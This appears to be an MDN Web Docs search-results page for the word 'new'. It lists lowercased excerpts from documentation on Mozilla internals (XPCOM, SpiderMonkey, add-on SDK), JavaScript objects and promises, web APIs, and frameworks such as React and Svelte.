to create an output stream, use nsiscriptableio.newoutputstream().
... this method has a number of options to specify text or binary writing, the character set, and whether to append to an existing file or create a new one.
... to create an input stream, first get a reference to a nsifile, and then use nsiscriptableio.newoutputstream() to open a stream for writing to it.
...And 18 more matches
React interactivity: Events and state - Learn web development
when we start giving ourselves the power to make new tasks, things that happen in the <form /> component will affect the list rendered in <app />.
... we want our handlesubmit() function to ultimately help us create a new task, so we need a way to pass information from <form /> to <app />.
...our <form /> will not be inheriting a new name for our task; our <input /> element lives directly inside of <form />, so <form/> will be directly responsible for creating that new name.
...And 18 more matches
Command line options
each message option follows the syntax field=value, for example: to=foo@nowhere.net subject=cool page attachment=www.mozilla.org attachment='file:///c:/test.txt' body=check this page or also in thunderbird 52 and newer: body=c:\path\to\file.txt separate multiple message options by comma (,), for example: "to=foo@nowhere.net,subject=cool page" .
... -createprofile profile_name create a new profile in the default directory, but do not start the application.
... firefox -createprofile joeluser -createprofile "profile_name profile_dir" creates a new profile in the profile_dir directory, but do not start the application.
...And 18 more matches
HTTP Cache
this document describes the new http cache version 2.
... when there is no profile the new http cache works, but everything is stored only in memory not obeying any particular limits.
... important difference in behavior from the old cache: when the cache entry object is already present in memory or open as “force-new” (a.k.a “open-truncate”) this callback is invoked sooner then the asyncopenuri method returns (i.e.
...And 18 more matches
SpiderMonkey 1.8.7
it is much faster than spidermonkey 1.8, implements es-5 (ecma 262, 5th edition), and contains many new language and api features, described in detail below.
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
...new javascript language features xxx needs updating javascript 1.8.5 adds support for ecmascript edition 5, including es5 strict mode.
...And 18 more matches
Places Developer Guide
var bookmarkuri = cc["@mozilla.org/network/io-service;1"] .getservice(ci.nsiioservice) .newuri("http://www.mozilla.com", null, null); var bookmarkid = bookmarks.insertbookmark( bookmarks.toolbarfolder, // the id of the folder the bookmark will be placed in.
... creating a folder var folderid = bookmarks.createfolder( bookmarks.toolbarfolder, // the id of the folder the new folder will be placed in.
... "my folder title", // the title of the new folder.
...And 18 more matches
nsIMsgDBView
nsmsgkey is defined as an unsigned long in mailnewstypes2.idl.
...nsmsgviewindex is defined as a unsigned long in mailnewstypes2.idl.
...nsmsgviewindex is defined as a unsigned long in mailnewstypes2.idl.
...And 18 more matches
Working with data
these are javascript constructors; as such, they're callable functions that you can use to create new cdata objects of that type.
... there are several ways you can go about creating new cdata objects.
... creating uninitialized cdata objects there are three forms of the syntax for creating cdata objects without immediately assigning them a value: var mycdataobj = new type; var mycdataobj = new type(); var mycdataobj = type(); these all do the same thing: they return a new cdata object of the specified type, whose data buffer has been populated entirely with zeroes.
...And 18 more matches
Working with objects - JavaScript
for example, let's create an object named mycar and give it properties named make, model, and year as follows: var mycar = new object(); mycar.make = 'ford'; mycar.model = 'mustang'; mycar.year = 1969; the above example could also be written using an object initializer, which is a comma-delimited list of zero or more pairs of property names and associated values of an object, enclosed in curly braces ({}): var mycar = { make: 'ford', model: 'mustang', year: 1969 }; unassigned properties of an object are ...
...examples are as follows: // four variables are created and assigned in a single go, // separated by commas var myobj = new object(), str = 'mystring', rand = math.random(), obj = new object(); myobj.type = 'dot syntax'; myobj['date created'] = 'string with space'; myobj[str] = 'string value'; myobj[rand] = 'random number'; myobj[obj] = 'object'; myobj[''] = 'even an empty string'; console.log(myobj); please note that all keys in the sq...
...for example, in the above code, when the key obj is added to the myobj, javascript will call the obj.tostring() method, and use this result string as the new key.
...And 18 more matches
tabs - Archive of obsolete content
usage open a tab you can open a new tab, specifying various properties including location: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); track tabs you can register event listeners to be notified when tabs open, close, finish loading dom content, or are made active or inactive: var tabs = require("sdk/tabs"); // listen for tab openings.
...by setting the url property you can load a new page in the tab: var tabs = require("sdk/tabs"); tabs.on('activate', function(tab) { tab.url = "http://www.example.com"; }); run scripts in a tab you can attach a content script to the page hosted in a tab, and use that to access and manipulate the page's content (see the modifying the page hosted by a tab tutorial): var tabs = require("sdk/tabs"); tabs.on('activate', function(tab) { var...
... worker = tab.attach({ contentscript: 'self.port.emit("html", document.body.innerhtml);' }); worker.port.on("html", function(message) { console.log(message) }) }); note that tab.attach is tab-centric: if the user navigates to a new page in the same tab, then the worker and content scripts will be reattached to the new page.
...And 17 more matches
OS.File for the main thread
let decoder = new textdecoder(); // this decoder can be reused for several reads let promise = os.file.read("file.txt"); // read the complete file as an array promise = promise.then( function onsuccess(array) { return decoder.decode(array); // convert this array to a text } ); this example requires firefox 18 or a more recent version.
...it uses an atomic write to ensure that the file is not modified if, for some reason, the write cannot complete (typically because the computer is turned off, the battery runs out, or the application is stopped.) let encoder = new textencoder(); // this encoder can be reused for several writes let array = encoder.encode("this is some text"); // convert the text to an array let promise = os.file.writeatomic("file.txt", array, // write the array atomically to "file.txt", using as temporary {tmppath: "file.txt.tmp"}); // buffer "file.txt.t...
... the following variant does the same thing but will fail if "file.txt" already exists: let encoder = new textencoder(); // this encoder can be reused for several writes let array = encoder.encode("this is some text"); // convert the text to an array let promise = os.file.writeatomic("file.txt", array, // write the array atomically to "file.txt", using as temporary {tmppath: "file.txt.tmp", nooverwrite: true}); // buffer "file.txt.tmp".
...And 17 more matches
Examples
components.utils.import("resource://gre/modules/osfile.jsm") let path = os.path.join(os.constants.path.tmpdir, "file.txt"); let promise = os.file.exists(path); let newpromise = promise.then(function onfulfill(aexists) { if (aexists) { console.log("you have file.txt in your temporary directory."); } else { throw new error("you don't have file.txt in your temporary directory."); } }); // unexpected errors should always be reported at the end of a promise chain.
... let lastpromise = newpromise.then(function onfulfill(){ }) .catch(function onreject(arejectreason) { console.warn('newpromise failed with reason: ', arejectreason); }); using a promise returned by a function (verbose) this example uses a verbose syntax, showing all the involved promises.
... components.utils.import("resource://gre/modules/osfile.jsm") let path = os.path.join(os.constants.path.tmpdir, "file.txt"); let promise = os.file.exists(path); let newpromise = promise.then(function onfulfill(aexists) { if (aexists) { console.log("you have file.txt in your temporary directory."); } else { console.log("you don't have file.txt in your temporary directory."); } }); // unexpected errors should always be reported at the end of a promise chain.
...And 17 more matches
JSAPI reference
runtimes and contexts js_init added in spidermonkey 31 js_shutdown struct jsruntime js_newruntimeobsolete since jsapi 52 js_destroyruntime js_getruntimeprivate js_setruntimeprivate js_setnativestackquota added in spidermonkey 17 js_contextiteratorobsolete since jsapi 52 js_finish obsolete since jsapi 19 struct jscontext js_newcontext js_destroycontext js_destroycontextnogc js_setcontextcallback enum jscontextop js_getruntime js_getparentruntime added in...
...erateresolvedstandardclasses obsolete since jsapi 24 js_isrunning js_saveframechain js_restoreframechain js_isassigning obsolete since javascript 1.8.5 js_isconstructing obsolete since jsapi 26 js_isconstructing_possiblywithgiventhisobject obsolete since jsapi 17 js_getscopechain obsolete since javascript 1.8.7 compartments: class jsautocompartment added in spidermonkey 24 js_newglobalobject added in spidermonkey 17 js_entercompartment added in spidermonkey 24 js_leavecompartment added in spidermonkey 24 js_getcompartmentprivate added in spidermonkey 1.8.5 js_setcompartmentprivate added in spidermonkey 1.8.5 js_getglobalforcompartmentornull added in spidermonkey 17 js_iteratecompartments added in spidermonkey 17 js_setdestroycompartmentcallback added in spidermonke...
...y 17 js_setcompartmentnamecallback added in spidermonkey 17 js_newcompartmentandglobalobject added in spidermonkey 1.8.1 obsolete since jsapi 16 js_entercrosscompartmentcall added in spidermonkey 1.8.1 obsolete since jsapi 18 js_leavecrosscompartmentcall added in spidermonkey 1.8.1 obsolete since jsapi 18 locale callbacks: struct jslocalecallbacks js_getlocalecallbacks js_setlocalecallbacks locale callback types: jslocaletouppercase jslocaletolowercase jslocalecompare jslocaletounicode scripts just running some javascript code is straightforward: class js::compileoptions added in spidermonkey 17 class js::owningcompileoptions added in spidermonkey 31 class js::readonlycompileoptions added in spidermonkey 31 class js::sourcebufferholder added in spidermonkey 31 ...
...And 17 more matches
nsINavBookmarkObserver
lete since gecko 21.0 void onbeginupdatebatch(); void onendupdatebatch(); void onfolderadded(in print64 folder, in print64 parent, in print32 index); obsolete since gecko 1.9 void onfolderchanged(in print64 folder, in acstring property); obsolete since gecko 1.9 void onfoldermoved(in print64 folder, in print64 oldparent, in print32 oldindex, in print64 newparent, in print32 newindex); obsolete since gecko 1.9 void onfolderremoved(in print64 folder, in print64 parent, in print32 index); obsolete since gecko 1.9 void onitemadded(in long long aitemid, in long long aparentid, in long aindex, in unsigned short aitemtype, in nsiuri auri, in autf8string atitle, in prtime adateadded, in acstring aguid, in acstring aparentguid); v...
...oid onitemchanged(in long long aitemid, in acstring aproperty, in boolean aisannotationproperty, in autf8string anewvalue, in prtime alastmodified, in unsigned short aitemtype, in long long aparentid, in acstring aguid, in acstring aparentguid); void onitemmoved(in long long aitemid, in long long aoldparentid, in long aoldindex, in long long anewparentid, in long anewindex, in unsigned short aitemtype, in acstring aguid, in acstring aoldparentguid, in acstring anewparentguid); void onitemremoved(in long long aitemid, in long long aparentid, in long aindex, in unsigned short aitemtype, in nsiuri auri, in acstring aguid, in acstring aparentguid); void onitemreplaced(in print64 folder, in nsiuri item, in nsiuri newitem); obsolete since gecko 1.9 void onitemvi...
...void onfoldermoved( in print64 folder, in print64 oldparent, in print32 oldindex, in print64 newparent, in print32 newindex ); parameters folder the id of the folder that was moved.
...And 17 more matches
DOMMatrixReadOnly - Web APIs
dommatrixreadonly.flipx() returns a new dommatrix created by flipping the source matrix around its x-axis.
... dommatrixreadonly.flipy() returns a new dommatrix created by flipping the source matrix around its y-axis.
... dommatrixreadonly.inverse() returns a new dommatrix created by inverting the source matrix.
...And 17 more matches
Signaling and video calling - Web APIs
the server supports several message types to handle tasks, such as registering new users, setting usernames, and sending public chat messages.
... each ice candidate is sent to the other peer by sending a json message of type "new-ice-candidate" over the signaling server to the remote peer.
... each candidate message include these fields: type the message type: "new-ice-candidate".
...And 17 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
360 * @param saturation 0-100 * @param value 0-100 * @param lightness 0-100 */ function color(color) { if(color instanceof color === true) { this.copy(color); return; } this.r = 0; this.g = 0; this.b = 0; this.a = 1; this.hue = 0; this.saturation = 0; this.value = 0; this.lightness = 0; this.format = 'hsv'; } function rgbcolor(r, g, b) { var color = new color(); color.setrgba(r, g, b, 1); return color; } function rgbacolor(r, g, b, a) { var color = new color(); color.setrgba(r, g, b, a); return color; } function hsvcolor(h, s, v) { var color = new color(); color.sethsv(h, s, v); return color; } function hsvacolor(h, s, v, a) { var color = new color(); color.sethsv(h, s, v); color.a = a; return color; } functio...
...n hslcolor(h, s, l) { var color = new color(); color.sethsl(h, s, l); return color; } function hslacolor(h, s, l, a) { var color = new color(); color.sethsl(h, s, l); color.a = a; return color; } color.prototype.copy = function copy(obj) { if(obj instanceof color !== true) { console.log('typeof parameter not color'); return; } this.r = obj.r; this.g = obj.g; this.b = obj.b; this.a = obj.a; this.hue = obj.hue; this.saturation = obj.saturation; this.value = obj.value; this.format = '' + obj.format; this.lightness = obj.lightness; }; color.prototype.setformat = function setformat(format) { if (format === 'hsv') this.format = 'hsv'; if (format === 'hsl') this.format = 'hsl'; }; /*========== methods to set color properties ==========...
...n value.touppercase(); }; color.prototype.getrgba = function getrgba() { var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b; var a = ''; var v = ''; var x = parsefloat(this.a); if (x !== 1) { a = 'a'; v = ', ' + x; } var value = 'rgb' + a + rgb + v + ')'; return value; }; color.prototype.gethsla = function gethsla() { if (this.format === 'hsv') { var color = new color(this); color.setformat('hsl'); color.updatehsx(); return color.gethsla(); } var a = ''; var v = ''; var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%'; var x = parsefloat(this.a); if (x !== 1) { a = 'a'; v = ', ' + x; } var value = 'hsl' + a + hsl + v + ')'; return value; }; color.prototype.getcolor = function getcolor() { ...
...And 17 more matches
LiveConnect Overview - Archive of obsolete content
for example, you can create a java string object and assign it to the javascript variable mystring by using the new operator with the java constructor, as follows: var mystring = new java.lang.string("hello world"); in the previous example, the variable mystring is a javaobject because it holds an instance of the java object string.
...to create an instance of the helloworld class in redwood, you access the constructor of the class as follows: var red = new packages.redwood.helloworld(); you can also access classes in the default package (that is, classes that don't explicitly name a package).
... for example, if the helloworld class is directly in the classpath and not in a package, you can access it as follows: var red = new packages.helloworld(); the liveconnect java, sun, and netscape objects provide shortcuts for commonly used java packages.
...And 16 more matches
TypeScript support in Svelte - Learn web development
availability of new and future javascript features: typescript transpiles many recent es6 features to plain old-school javascript, allowing you to use them even on user-agents that don't support them natively yet.
... steep learning curve: even though typescript is a superset of javascript and not a completely new language, there is a considerable learning curve, especially if you have no experience at all with static languages like java or c#.
... creating a svelte typescript project from scratch you can start a new svelte typescript project using the standard template.
...And 16 more matches
Multiple Firefox profiles
while using the nightly channel, you may encounter some add-ons that have become temporarily incompatible with new api changes, until the add-on developer has a chance to update them.
...creating new profiles for testing can keep you from losing your preferences, bookmarks, and history.
... it takes little time to set up a new profile, and once it is complete, all of your firefox versions will update separately and can be run simultaneously.
...And 16 more matches
Mozilla internal string guide
common methods that modify the string: .assign(string) - assigns a new value to the string.
...for larger strings, a new buffer is allocated on the heap.
...(pos < len - 1) memmove(cur + 4, cur + 1, (len - 1 - pos) * sizeof(char16_t)); // fill the tab with spaces *cur = char16_t(' '); *(cur + 1) = char16_t(' '); *(cur + 2) = char16_t(' '); *(cur + 3) = char16_t(' '); pos += 4; cur += 4; } } } if a string buffer becomes smaller while writing it, use setlength to inform the string class of the new size: /** * remove every tab character from `data` */ void removetabs(nsastring& data) { int len = data.length(); char16_t* cur = data.beginwriting(); char16_t* end = data.endwriting(); while (cur < end) { if (char16_t('\t') == *cur) { len -= 1; end -= 1; if (cur < end) memmove(cur, cur + 1, (end - cur) * sizeof(char16_t)); } else { cur += 1; ...
...And 16 more matches
Function.prototype.bind() - JavaScript
the bind() method creates a new function that, when called, has its this keyword set to the provided value, with a given sequence of arguments preceding any provided when the new function is called.
...the value is ignored if the bound function is constructed using the new operator.
...if no arguments are provided to bind , or if the thisarg is null or undefined, the this of the executing scope is treated as the thisarg for the new function.
...And 16 more matches
Menu - Archive of obsolete content
ArchiveMozillaJetpackUIMenu
features can also create new menus and attach them almost anywhere, chrome or content, as popup menus or context menus.
... two namespaces are associated with this api: jetpack.menu, which provides access to the browser's menus, and jetpack.menu, the constructor for making new menus.
... to create a new menu, use one of the jetpack.menu constructors below.
...And 15 more matches
Creating XPI Installer Modules - Archive of obsolete content
this new packaging scheme is called xpi (pronounced "zippy"), and interacts with xpinstall.
... in addition to these jar files, there are also several new rdf files.
... these new files represent a redesign of the way that the mozilla ui is packaged and installed.
...And 15 more matches
Index - Archive of obsolete content
ArchiveMozillaXULIndex
this element is often used with a short label or icon to indicate status, for instance whether the user is online or whether there are new messages.
...in contrast to the mozilla jargon file, this article describes items of specific interest to the web or content developer looking to establish a context for understanding mozilla's new technologies -- and in particular mozilla's xml-based user interface language, xul.
... 206 newlines xul attributes, xul reference no summary!
...And 15 more matches
Localizing with Koala
you should see a new button in komodo's toolbar, with two options: startpage and management.
... before you can use them, you need to create a new koala project.
... creating a new project create a new koala project by going to file > new > new project from template...
...And 15 more matches
Scripting Java
this works just as in java, with the use of the new operator: js> new java.util.date() thu jan 24 16:18:17 est 2002 if we store the new object in a javascript variable, we can then call methods on it: js> f = new java.io.file("test.txt") test.txt js> f.exists() true js> f.getname() test.txt static methods and fields can be accessed from the class object itself: js> java.lang.math.pi 3.141592653589793 js> java.lang.math.cos(0) 1 in javascr...
... public class overload { public string f(object o) { return "f(object)"; } public string f(string s) { return "f(string)"; } public string f(int i) { return "f(int)"; } public string g(string s, int i) { return "g(string,int)"; } public string g(int i, string s) { return "g(int,string)"; } public static void main(string[] args) { overload o = new overload(); object[] a = new object[] { new integer(3), "hi", overload.class }; for (int i = 0; i != a.length; ++i) system.out.println(o.f(a[i])); } } when we compile and execute the program, it produces the output f(object) f(object) f(object) however, if we write a similar script var o = new packages.overload(); var a = [ 3, "hi", packages.overload ]; for (...
...one example of this is the thread class: its constructor takes a runnable that contains a single method run that will be called when the new thread is started.
...And 15 more matches
XPCOM array guide
MozillaTechXPCOMGuideArrays
nsistringenumerator / nsiutf8stringenumerator - enumerators for strings obsolete arrays / enumerators there are some deprecated classes which should not be used by new code.
...when the array can or should be modified, then use nsimutablearray: // array is read-only because it uses nsiarray void printsize(nsiarray* elements) { pruint32 count; elements->getlength(&count); printf("there are %d elements.\n", count); } // using nsimutablearray, so callee may modify void tweakarray(nsimutablearray* elements) { elements->removeelementat(0); elements->appendelement(newelement, pr_false); } while it is usually possible to call queryinterface on an nsiarray to get access to the nsimutablearray interface, this is against convention and it should be avoided.
... // no need for the double-pointer, and this violates xpcom rules // which expect acess to a new object void tweakarray(nsimutablearray** elements) { // ugh, extra indirection!
...And 15 more matches
Indexed collections - JavaScript
creating an array the following statements create equivalent arrays: let arr = new array(element0, element1, ..., elementn) let arr = array(element0, element1, ..., elementn) let arr = [element0, element1, ..., elementn] element0, element1, ..., elementn is a list of values for the array's elements.
...let arr = new array(arraylength) // ...results in the same array as this let arr = array(arraylength) // this has exactly the same effect let arr = [] arr.length = arraylength note: in the above code, arraylength must be a number.
... in addition to a newly defined variable as shown above, arrays can also be assigned as a property of a new or an existing object: let obj = {} // ...
...And 15 more matches
ui/frame - Archive of obsolete content
span> <span id="weather" class="info-element"></span> <script type="text/javascript" src="city-info.js"></script> </body> </html> if we save this document as "city-info.html" under the add-on's "data" directory, we can create a frame hosting it and add the frame to a toolbar like this: var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var frame = new frame({ url: "./city-info.html" }); var toolbar = toolbar({ name: "city-info", title: "city info", items: [frame] }); the toolbar is positioned between the address bar and the content window.
...it can use the origin property of the event object passed to the message hander: // listen for messages from the add-on, and send a reply window.addeventlistener("message", function(event) { event.source.postmessage("pong", event.origin) }, false); this frame script listens to change events on the "city-selector" <select> element, and sends a message to the add-on containing the value for the newly selected element.
... var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var frame = new frame({ url: "./city-info.html", onmessage: (e) => { console.log("new city: " + e.data); } }); var toolbar = toolbar({ name: "city-info", title: "city info", items: [frame] }); from add-on to all frames to send a message from the add-on code to all frames, attached to all open browser windows, you can use frame.postmessage().
...And 14 more matches
jpm - Archive of obsolete content
add the following line to the end of the file $home/.profile to add it to your path permanently (as the file .profile is executed every time a new terminal is opened): export path="$home/node_modules/.bin/:$path" installing jpm from git alternatively, you can also get the latest version of jpm using git: git clone https://github.com/mozilla-jetpack/jpm.git cd jpm npm install npm link after installing jpm after installation, at the command prompt, type: jpm you should see a screen summarizing the available jpm commands.
... jpm sign package your add-on as an xpi file, and then retrieve a new xpi signed by mozilla.
... jpm init this command initializes a new add-on from scratch.
...And 14 more matches
Bookmarks - Archive of obsolete content
firefox 2 and earlier creating a new bookmark var win = mybrowser.contentwindow; // get the bookmarks service const bmsvc = components.classes["@mozilla.org/browser/bookmarks-service;1"] .getservice(components.interfaces.nsibookmarksservice); // create the bookmark bmsvc.createbookmarkincontainer(win.document.title, // bookmark name win.location.href.tostring(), // uri of the bookmark null, // shortcut win.document.title, // description win.document.characterset, // charset null, // postdata bookmarksservice.getbookmarkstoolbarfolder(), // bookmark folder ...
...the documentation for the new api is available at places.
... initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method.
...And 14 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
objective the objective is to provide users with a mailer agent, a web browser, and a news reader which are automatically configured (preferences) at startup to the current user connected on the computer.
...("mail.smtp.defaultserver", "smtp1"); lockpref("mail.smtpserver.smtp1.auth_method", 0); lockpref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr"); lockpref("mail.smtpserver.smtp1.port", 25); lockpref("mail.smtpserver.smtp1.try_ssl", 0); lockpref("mail.smtpserver.smtp1.username", ""); lockpref("mail.smtpservers", "smtp1"); lockpref("mail.startup.enabledmailcheckonce", true); lockpref("mailnews.quotingprefs.version", 1); lockpref("mailnews.ui.threadpane.version", 5); /* 3) define here (because if set after "4)" below it doesn't work!) processldapvalues which is eventually called by getldapattributes() just below, check getldapattributes() code from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues */ function processldapvalues(v...
...if it is not possible to give access to anonymous, //you have to enable this function first, please see //http://technet.microsoft.com/de-de/library/cc816788(ws.10).aspx // // //put everything in a try/catch try { var userinfo = new object(); // this will hold ldap results userinfo.envuser = getenv("username"); // username userinfo.envhome = getenv("home"); // user home directory var ldaphost = "example.com"; var ldapbase = "dc=company,dc=local"; if( userinfo.envuser ) { var ldapfilter = "samaccountname=" + userinfo.envuser; } else { throw("couldn't get uid from the environment"); } // ldap attributes to ret...
...And 14 more matches
MenuModification - Archive of obsolete content
adding items to a menu the appenditem method may be used to append a new item to the end of the popup associated with a menu.
... this method will create a new menuitem element and insert it into the popup.
...this function appends a new item to the menu's popup with the label insert.
...And 14 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
when it rebuilds them, it will include your new extension.
... create a new directory named: custombutton perform the following steps in this new directory, creating five files there.
...paste it into the new file: <?xml version="1.0" encoding="utf-8"?> <!doctype rdf:rdf> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <rdf:seq rdf:about="urn:mozilla:package:root"> <rdf:li rdf:resource="urn:mozilla:package:custombutton"/> </rdf:seq> <rdf:description rdf:about="urn:mozilla:package:custombutton" chrome:displayname="custom button" chrome:description="my custom toolbar button" chrome:author="my name" chrome:...
...And 14 more matches
Introduction to Public-Key Cryptography - Archive of obsolete content
the user must supply a name and password separately for each new server the user wishes to use during a work session.
... with this arrangement, the user must supply a new password for each server, and the administrator must keep track of the name and password for each user, typically on separate servers.
...for the rest of the session, the client presents the user's certificate to authenticate the user to each new server it encounters.
...And 14 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
it may refer to: 33 block (css) css, codingscripting, design, glossary, html a block on a webpage is an html element that appears on a new line, i.e.
... 60 cacheable glossary, webmechanics a cacheable response is an http response that can be cached, that is stored to be retrieved and used later, saving a new request to the server.
...with variables, on the other hand, the programmer can assign a new value to a variable name already in use.
...And 14 more matches
Index - Learn web development
13 aprender y obtener ayuda beginner, learn, learning, web development, getting help it is great that you are putting some time into learning a new set of skills, but there are good practices to employ that will make your learning more effective.
...in fact, you'll sometimes see these terms misused in news reports and elsewhere, so getting them mixed up is understandable!
... 36 getting started with the web beginner, css, design, guide, html, index, l10n:priority, publishing, theory it's a lot of work to create a professional website, so if you're new to web development, we encourage you to start small.
...And 14 more matches
Working with Svelte stores - Learn web development
a store is simply an object with a subscribe() method that allows interested parties to be notified whenever the store value changes, and an optional set() method that allows you to set new values for the store.
... create a new file — stores.js — inside your src directory.
... in the above code we import the writable() function from svelte/store and use it to create a new store called alert with an initial value of "welcome to the to-do list app!".
...And 14 more matches
NSS Tools certutil
it can also list, generate, modify, or delete certificates within the cert8.db file and create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key3.db file.
...certificate database tool command options and their arguments are defined as follows: options -n create new certificate and key databases.
... -c create a new binary certificate file from a binary certificate-request file.
...And 14 more matches
nsIDocShell
void preparefornewcontentmodel(); void resumerefreshuris(); void setchildoffset(in unsigned long offset); native code only!
...for a new document load, this will be the channel of the previous document until after onlocationchange fires.
... isinunload boolean find out whether the docshell is currently in the middle of a page transition (after the onunload event has fired, but before the new document has been set up) read only.
...And 14 more matches
nsIWindowWatcher
method overview nsiwebbrowserchrome getchromeforwindow(in nsidomwindow awindow); nsiauthprompt getnewauthprompter(in nsidomwindow aparent); nsiprompt getnewprompter(in nsidomwindow aparent); nsidomwindow getwindowbyname(in wstring atargetname, in nsidomwindow acurrentwindow); nsisimpleenumerator getwindowenumerator(); nsidomwindow openwindow(in nsidomwindow aparent, in string aurl, in string aname, in string afeatures, in nsisupports aarguments); void ...
... return value an nsiwebbrowserchrome object for the corresponding chrome window getnewauthprompter() return a newly created nsiauthprompt implementation.
... nsiauthprompt getnewauthprompter( in nsidomwindow aparent ); parameters aparent the parent window used for posing alerts.
...And 14 more matches
Timing element visibility with the Intersection Observer API - Web APIs
when an ad exceeds one minute of visible time, it will be replaced with a new one.
...let's start with the global variables: let contentbox; let nextarticleid = 1; let visibleads = new set(); let previouslyvisibleads = null; let adobserver; let refreshintervalid = 0; these are used as follows: contentbox a reference to the <main> element's htmlelement object in the dom.
...etting up to set things up, we run the startup() function below when the page loads: window.addeventlistener("load", startup, false); function startup() { contentbox = document.queryselector("main"); document.addeventlistener("visibilitychange", handlevisibilitychange, false); let observeroptions = { root: null, rootmargin: "0px", threshold: [0.0, 0.75] }; adobserver = new intersectionobserver(intersectioncallback, observeroptions); buildcontents(); refreshintervalid = window.setinterval(handlerefreshinterval, 1000); } first, a reference to the content wrapping <main> element is obtained, so we can insert our content into it.
...And 14 more matches
Using Service Workers - Web APIs
this article provides information on getting started with service workers, including basic architecture, registering a service worker, the install and activation process for a new service worker, updating your service worker, cache control and custom responses, all in the context of a simple app with offline functionality.
... setting up to play with service workers many service workers features are now enabled by default in newer versions of supporting browsers.
... const imgload = (url) => { return new promise((resolve, reject) => { var request = new xmlhttprequest(); request.open('get', url); request.responsetype = 'blob'; request.onload = () => { if (request.status == 200) { resolve(request.response); } else { reject(error('image didn\'t load successfully; error code:' + request.statustext)); } }; request.onerror = () => { reje...
...And 14 more matches
HTML5 - Developer guides
WebGuideHTMLHTML5
it is a new version of the language html, with new elements, attributes, and behaviors, and a larger set of technologies that allows the building of more diverse and powerful web sites and applications.
... connectivity: allowing you to communicate with the server in new and innovative ways.
... semantics sections and outlines in html5 a look at the new outlining and sectioning elements in html5: <section>, <article>, <nav>, <header>, <footer> and <aside>.
...And 14 more matches
Signing an XPI - Archive of obsolete content
this article is a mirror of the original, with minor reformatting, some new info and all links updated in march 2010.
...certutil.exe) in the system directory (\windows\system32\) so ensure the new paths are first in the path search list.
... c:\> set path=c:\apps\nss-3.11.4\bin\;c:\apps\nss-3.11.4\lib\;c:\apps\nspr-4.6\lib\;%path% an easier way is to copy everything from your new directories c:\apps\nss-3.11.4\ and c:\apps\nspr-4.6\ including sub directories to the same directory - fx c:\apps\codesigning\ - and then run every command from that.
...And 13 more matches
Promises - Archive of obsolete content
let iter = new os.file.directoryiterator(dir); yield iter.foreach(entry => { if (!entry.isdir) files.push(entry.path); }); iter.close(); } // read the files as binary blobs and process them.
... let processor = new fileprocessor(); for (let file of files) { let data = yield os.file.read(file); processor.add(data); } // now write the processed files back out, as a binary blob.
... yield os.file.writeatomic(config.processedpath, processor.process(), { tmppath: config.processedpath + "." + math.random() }); // and write out a new config file.
...And 13 more matches
CSS3 - Archive of obsolete content
it brings a lot of long-awaited novelties, like rounded corners, shadows, gradients, transitions or animations, as well as new layouts like multi-columns, flexible box or grid layouts.
...new modules are also added when new needs are identified.
... new pseudo-classes: :target, :enabled and :disabled, :checked, :indeterminate, :root, :nth-child and :nth-last-child, :nth-of-type and :nth-last-of-type, :last-child, :first-of-type and :last-of-type, :only-child and :only-of-type,:empty, and :not.
...And 13 more matches
Custom toolbar button - Archive of obsolete content
in the extensions directory, create a new directory with the following name.
... copy the name from here and paste it, to avoid typing errors: custom-toolbar-button@example.com perform the following steps in this new directory, creating two files and a directory there.
...paste it into the new file: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest" em:name="custom button" em:description="my custom toolbar button" em:creator="my name" em:id="custom-toolbar-button@example.com" em:version="1.0" em:homepageurl="http://developer.mozilla.org/en/docs/custom_toolbar_button" em:iconurl="chrome://custombutton/content/icon.png" > <...
...And 13 more matches
Using files from web applications - Web APIs
lem" multiple accept="image/*" style="display:none"> <button id="fileselect">select some files</button> the code that handles the click event can look like this: const fileselect = document.getelementbyid("fileselect"), fileelem = document.getelementbyid("fileelem"); fileselect.addeventlistener("click", function (e) { if (fileelem) { fileelem.click(); } }, false); you can style the new button for opening the file picker as you wish.
... const reader = new filereader(); reader.onload = (function(aimg) { return function(e) { aimg.src = e.target.result; }; })(img); reader.readasdataurl(file); } } here our loop handling the user-selected files looks at each file's type attribute to see if its mime type begins with the string "image/").
... for each file that is an image, we create a new img element.
...And 13 more matches
Using XMLHttpRequest - Web APIs
function reqlistener () { console.log(this.responsetext); } var oreq = new xmlhttprequest(); oreq.addeventlistener("load", reqlistener); oreq.open("get", "http://www.example.org/example.txt"); oreq.send(); types of requests a request made via xmlhttprequest can fetch the data in one of two ways, asynchronously or synchronously.
... var oreq = new xmlhttprequest(); oreq.open("get", url); // retrieve data unprocessed as a binary string oreq.overridemimetype("text/plain; charset=x-user-defined"); /* ...
... var oreq = new xmlhttprequest(); oreq.onload = function(e) { var arraybuffer = oreq.response; // not responsetext /* ...
...And 13 more matches
Promise - JavaScript
these methods also return a newly generated promise object, which can optionally be used for chaining; for example, like this: const mypromise = (new promise(myexecutorfunc)) .then(handlefulfilleda,handlerejecteda) .then(handlefulfilledb,handlerejectedb) .then(handlefulfilledc,handlerejectedc); // or, perhaps better ...
... const mypromise = (new promise(myexecutorfunc)) .then(handlefulfilleda) .then(handlefulfilledb) .then(handlefulfilledc) .catch(handlerejectedany); handling a rejected promise too early has consequences further down the promise chain.
